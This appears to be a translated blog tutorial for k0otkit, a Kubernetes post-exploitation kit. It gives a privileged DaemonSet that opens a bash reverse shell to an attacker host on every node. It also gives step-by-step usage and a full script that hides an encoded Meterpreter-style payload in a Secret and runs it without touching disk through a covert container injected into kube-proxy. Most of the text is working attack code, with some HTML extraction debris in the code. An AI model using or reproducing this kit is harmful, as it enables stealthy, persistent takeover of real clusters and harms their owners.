Preface to the article
k0otkit is a general post-exploitation technology that can be used to penetrate Kubernetes clusters. Attackers can use k0otkit to quickly, covertly and continuously operate all nodes in the target Kubernetes cluster (reverse shell). The main technologies used by K0otkit There are the following:
-
kube-proxy image (taken from local sources)
-
Dynamic container injection (high concealment)
-
Meterpreter (traffic encryption)
-
Fileless attack (high concealment)
-
DaemonSet and Secret resources (fast and continuous rebound, resource separation)
K8S Penetration
Common K8S clusters are as follows:
Common K8S penetration paths:
Image of K8S penetration process:
Cluster control
We need to go through the following stages to control a Kubernetes cluster:
Web Penetration >> Privilege Escalation >> Escape >> Master root >> ?
If the Master at this time participates in Pod scheduling, then we can use the DaemonSet resource feature (if a Pod hangs, the DaemonSet controller will automatically rebuild the Pod) to automatically deploy a Pod instance on all nodes, and at the same time, the DaemonSet and rebound will be The shells are combined to achieve the purpose of rebounding the shell control node. The following is an example:
apiVersion: apps/v1</code><code>kind: DaemonSet</code><code>metadata:</code><code>name: attacker</code><code>spec:</code> <code>selector:</code><code>matchLabels:</code><code> app: attacker</code><code>template:</code><code>metadata:</code><code> labels :</code><code> app: attacker</code><code>spec:</code><code> hostNetwork: true</code><code> hostPID: true</code><code> containers:</code><code> - name: main</code><code> image: bash</code><code> imagePullPolicy: IfNotPresent</code><code> command: ["bash"]</code><code> # reverse shell</code><code> args: ["-c", "bash -i > & amp; /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0> & amp;1"]</code><code> securityContext:</code><code> privileged: true</code><code> volumeMounts:</code><code> - mountPath: /host</code><code> name: host-root</code><code> volumes:</code><code> - name: host-root</code><code> hostPath:</code><code> path: /</code><code> type: Directory
Usage examples
Step 1: Download k0otkit
git clone https://github.com/Metarget/k0otkit</code><code>cd k0otkit/</code><code>chmod + x ./*.sh
Step 2: Replace ATTACKER_IP, ATTACKER_PORT and the number of payload bits in the pre_exp.sh file
ATTACKER_IP=192.168.17.165</code><code>ATTACKER_PORT=4444
Step 3: Generate k0otkit
./pre_exp.sh
Step 4: Run handle_multi_reverse_shell.sh
./handle_multi_reverse_shell.sh
Step 5: Copy the contents of k0otkit.sh to the master node for execution (note the location of the kubeconfig file)
volume_name=cache mount_path=/var/kube-proxy-cache ctr_name=kube-proxy-cache binary_file=/usr/local/bin/kube-proxy-cache payload_name=cache secret_name=proxy-cache secret_data_name=content ctr_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}') volume_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}') image=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}') # create payload secret cat << EOF | kubectl --kubeconfig /home/r00t/.kube/config apply -f - apiVersion: v1 Kind: Secret metadata: name: $secret_name namespace: kube-system type: Opaque data: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMD AwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODExYTU2ODAyMDAxMTVj ODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzB jYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjYwY2IwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw EOF # assume that ctr_line_num < volume_line_num # otherwise you should switch the two sed commands below # inject malicious container into kube-proxy pod kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \ | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\ hostPath:\ path: /\ type: Directory\ " \ | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\ image: $image\ imagePullPolicy: IfNotPresent\ command: ["sh"]\ args: ["-c" , "echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(> & amp; =).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork (); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))} '"]\ env:\ - name: $payload_name\ valueFrom:\ secretKeyRef:\ name: $secret_name\ key: $secret_data_name\ securityContext:\ privileged: true\ volumeMounts:\ - mountPath: $mount_path\ name: $volume_name" \ | kubectl --kubeconfig /home/r00t/.kube/config replace -f -
Step 6: Wait for the rebound shell to come back
Step 7: Perform interactive operations
Step 8: Escape and take control of the node
The knowledge points of the article match the official knowledge archives, and you can further learn relevant knowledge. Cloud native entry-level skills treeContainer orchestration (production environment k8s)kubelet, kubectl, kubeadm three-piece set 16743 people Currently studying the system